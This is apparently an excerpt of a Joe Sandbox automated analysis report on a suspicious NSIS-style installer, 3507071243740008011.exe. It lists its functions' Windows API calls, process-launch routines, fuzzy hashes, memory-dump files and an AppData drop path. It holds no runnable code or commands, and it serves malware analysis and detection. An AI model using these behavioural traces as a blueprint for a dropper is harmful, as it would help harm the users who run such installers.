Instruction ID: 35ea918b965a0e533a09ef3704f79fc1997eb74e27ad0e26ff3c84f6d98ddf78
Opcode Fuzzy Hash: c67af3d44b601b412ad7c6a67ff551ecd195e7fe17a35a24dfb0ddc2ffe3d870
Instruction Fuzzy Hash: ACB0923A180600AADE118B40DE4AF857A62F7A4701F018138B240640B0CAB200E0DB48

Function 0040332B Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00403088,?,?,00000006,00000008,0000000A), ref: 00403339

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 004058AA Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 004058B9

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
Instruction ID: 322818d701d9cc3fc85427ca8463de8bac6637280c84b784c1803e53dd53602d
Opcode Fuzzy Hash: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
Instruction Fuzzy Hash: 55C092B2000200DFE301CF90CB08F067BF8AF59306F028058E1849A160C7788800CB69

Function 00401F00 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004052E6: lstrlenW.KERNEL32(0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000,?), ref: 0040531E
Part of subcall function 004052E6: lstrlenW.KERNEL32(0040325E,0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000), ref: 0040532E
Part of subcall function 004052E6: lstrcatW.KERNEL32(0042C228,0040325E,0040325E,0042C228,00000000,0041D800,74DF23A0), ref: 00405341
Part of subcall function 004052E6: SetWindowTextW.USER32(0042C228,0042C228), ref: 00405353
Part of subcall function 004052E6: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405379
Part of subcall function 004052E6: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405393
Part of subcall function 004052E6: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053A1

Part of subcall function 00405867: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430250,Error launching installer), ref: 00405890
Part of subcall function 00405867: CloseHandle.KERNEL32(?), ref: 0040589D

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401F47

Part of subcall function 0040670D: WaitForSingleObject.KERNEL32(?,00000064), ref: 0040671E
Part of subcall function 0040670D: GetExitCodeProcess.KERNEL32(?,?), ref: 00406740

Part of subcall function 004061C9: wsprintfW.USER32 ref: 004061D6

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: a0367c61fa75c7fa1ed8603c7bcbb816b6d25ff725675df51efd44c1739e69f8
Instruction ID: 0c3abe8747980e4b1c062509ec269ea7acbc1ace6387f940061889d1bd78c20b
Opcode Fuzzy Hash: a0367c61fa75c7fa1ed8603c7bcbb816b6d25ff725675df51efd44c1739e69f8
Instruction Fuzzy Hash: F5F09032905115DBCB20FFA19D848DE62A49F01368B25057FF102F61D1C77C0E459AAE

Function 1000101B Relevance: 1.3, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,10001019,00000001), ref: 1000102F

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: e75efe14272d739486d1db974dc6e9717b1eaf87509b7cdf2a82d93b2c2872d6
Instruction ID: e5c3751ad1220250e74be9454f066420c3e0eb8c37b3bb25f91e25635540fedc
Opcode Fuzzy Hash: e75efe14272d739486d1db974dc6e9717b1eaf87509b7cdf2a82d93b2c2872d6
Instruction Fuzzy Hash: 29C08CA5001282F9F110C3B08D0AF9F22ACCB881D2F104400FA93C908CDAB0D7801630

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 00405425 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405483
GetDlgItem.USER32(?,000003EE), ref: 00405492
GetClientRect.USER32(?,?), ref: 004054CF
GetSystemMetrics.USER32(00000002), ref: 004054D6
SendMessageW.USER32(?,00001061,00000000,?), ref: 004054F7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405508
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040551B
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405529
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040553C
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040555E
ShowWindow.USER32(?,00000008), ref: 00405572
GetDlgItem.USER32(?,000003EC), ref: 00405593
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055A3
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055BC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055C8
GetDlgItem.USER32(?,000003F8), ref: 004054A1

Part of subcall function 0040424C: SendMessageW.USER32(00000028,?,00000001,00404077), ref: 0040425A

GetDlgItem.USER32(?,000003EC), ref: 004055E5
CreateThread.KERNEL32(00000000,00000000,Function_000053B9,00000000), ref: 004055F3
CloseHandle.KERNEL32(00000000), ref: 004055FA
ShowWindow.USER32(00000000), ref: 0040561E
ShowWindow.USER32(?,00000008), ref: 00405623
ShowWindow.USER32(00000008), ref: 0040566D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056A1
CreatePopupMenu.USER32 ref: 004056B2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056C6
GetWindowRect.USER32(?,?), ref: 004056E6
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004056FF
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405737
OpenClipboard.USER32(00000000), ref: 00405747
EmptyClipboard.USER32 ref: 0040574D
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405759
GlobalLock.KERNEL32(00000000), ref: 00405763
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405777
GlobalUnlock.KERNEL32(00000000), ref: 00405797
SetClipboardData.USER32(0000000D,00000000), ref: 004057A2
CloseClipboard.USER32 ref: 004057A8

Strings

{, xrefs: 0040568B

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 008adb25098ef1b1bb6e7edf5b259777504a6f11eb67abc6bb5002a761aaad34
Instruction ID: 2f82927f57e7d4f45bca6e23eab998b55dded590160266c2ba262d9988700e91
Opcode Fuzzy Hash: 008adb25098ef1b1bb6e7edf5b259777504a6f11eb67abc6bb5002a761aaad34
Instruction Fuzzy Hash: 37B16970800608BFDB119FA0DD89AAE7B79FB48355F00403AFA45B61A0CB759E51DF68

Function 004046E6 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404735
SetWindowTextW.USER32(00000000,?), ref: 0040475F
SHBrowseForFolderW.SHELL32(?), ref: 00404810
CoTaskMemFree.OLE32(00000000), ref: 0040481B
lstrcmpiW.KERNEL32(Call,0042D248,00000000,?,?), ref: 0040484D
lstrcatW.KERNEL32(?,Call), ref: 00404859
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040486B

Part of subcall function 004058C8: GetDlgItemTextW.USER32(?,?,00000400,004048A2), ref: 004058DB

Part of subcall function 00406516: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\3507071243740008011.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00406579
Part of subcall function 00406516: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406588
Part of subcall function 00406516: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\3507071243740008011.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 0040658D
Part of subcall function 00406516: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\3507071243740008011.exe",0040334E,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 004065A0

GetDiskFreeSpaceW.KERNEL32(0042B218,?,?,0000040F,?,0042B218,0042B218,?,00000001,0042B218,?,?,000003FB,?), ref: 0040492E
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404949

Part of subcall function 00404AA2: lstrlenW.KERNEL32(0042D248,0042D248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B43
Part of subcall function 00404AA2: wsprintfW.USER32 ref: 00404B4C
Part of subcall function 00404AA2: SetDlgItemTextW.USER32(?,0042D248), ref: 00404B5F

Strings

Call, xrefs: 00404847, 0040484C, 00404857
A, xrefs: 00404809
C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 00404836

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Roaming\pechay\transskribere\jon$Call
API String ID: 2624150263-251418098
Opcode ID: 2bf24cd5b38970458feb5e26e62e94a42910e0745c64cb7450705bda54c983ff
Instruction ID: b9cd804fa769b9c0a994065299bacf789a546679ae48146ccc486c737bfd155f
Opcode Fuzzy Hash: 2bf24cd5b38970458feb5e26e62e94a42910e0745c64cb7450705bda54c983ff
Instruction Fuzzy Hash: CBA175F1A00209ABDB11AFA5CD41AAFB7B8EF84354F10847BF601B62D1D77C99418B6D

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 004020FE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040217D

Strings

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular, xrefs: 004021BD

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular
API String ID: 542301482-3139891972
Opcode ID: a3079df28c9350d7309c2a19df5477558aa8a9c325ce021c01e80fddd7990195
Instruction ID: 2ba5a37aa1c239f751097cd18d9f1051e5d6a8806e2346af1523e8cbd5355f1b
Opcode Fuzzy Hash: a3079df28c9350d7309c2a19df5477558aa8a9c325ce021c01e80fddd7990195
Instruction Fuzzy Hash: 504139B5A00208AFCB10DFE4C988AAEBBB5FF48314F20457AF515EB2D1DB799941CB44

Function 004072B4 Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

p!C, xrefs: 00407404, 00407426, 004074D6, 004074A8, 0040742B
p!C, xrefs: 004074E8

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID:
String ID: p!C$p!C
API String ID: 0-3125587631
Opcode ID: b391703ce6aa9d184f83615265780e2503839b4fa6daee6685a5ac04655da8ea
Instruction ID: ef217add9e462a39eaf01b2cd615f348b30b4b8a27c4232395f9688b09cd85c2
Opcode Fuzzy Hash: b391703ce6aa9d184f83615265780e2503839b4fa6daee6685a5ac04655da8ea
Instruction Fuzzy Hash: 33C15831E04219DBDF18CF68C8905EEBBB2BF88314F25826AD85677380D734A942CF95

Function 00402862 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402871

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d3449d240157211f65d4661233ebdf21600f3235833f1e3ab3d1db94ad861236
Instruction ID: dc4ef17723f846daade3f6bb5fabbbbae416fabd81b1269148e1e628f00bda2f
Opcode Fuzzy Hash: d3449d240157211f65d4661233ebdf21600f3235833f1e3ab3d1db94ad861236
Instruction Fuzzy Hash: 9DF08271A04104EFD710EBA4DD499ADB378EF00324F2105BBF515F61D1D7B44E449B1A

Function 00406ADD Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a4ae33423394c5bea169515a796ff1213356ce6b05ba1201df3d6212e3a5333
Instruction ID: c2d777d08f91faa28cc29f4af1d325e94f95b1c5ec16d27d51274fd7273dd8ba
Opcode Fuzzy Hash: 5a4ae33423394c5bea169515a796ff1213356ce6b05ba1201df3d6212e3a5333
Instruction Fuzzy Hash: A4E18971A04709DFDB24CF59C880BAAB7F1EB44305F15852EE497AB2D1D778AA91CF04

Function 004043B4 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404452
GetDlgItem.USER32(?,000003E8), ref: 00404466
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404483
GetSysColor.USER32(?), ref: 00404494
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044A2
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044B0
lstrlenW.KERNEL32(?), ref: 004044B5
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044C2
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044D7
GetDlgItem.USER32(?,0000040A), ref: 00404530
SendMessageW.USER32(00000000), ref: 00404537
GetDlgItem.USER32(?,000003E8), ref: 00404562
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045A5
LoadCursorW.USER32(00000000,00007F02), ref: 004045B3
SetCursor.USER32(00000000), ref: 004045B6
LoadCursorW.USER32(00000000,00007F00), ref: 004045CF
SetCursor.USER32(00000000), ref: 004045D2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404601
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404613

Strings

N, xrefs: 00404550
Call, xrefs: 00404591
+C@, xrefs: 004045BE

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: +C@$Call$N
API String ID: 3103080414-3697844480
Opcode ID: 9a2d0ca3c2f6281e852f2d8aeca5f3bca76ad293f1c4d3c8d798300b4eb97cdc
Instruction ID: 544d3524579c470af9434eda2f0c3a81960274dfcdaaec18bef3a5beb83851d9
Opcode Fuzzy Hash: 9a2d0ca3c2f6281e852f2d8aeca5f3bca76ad293f1c4d3c8d798300b4eb97cdc
Instruction Fuzzy Hash: 0C6192B1A00209BFDB109F60DD85AAA7B79FB84345F00843AF605B72D0D779A951CFA8

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
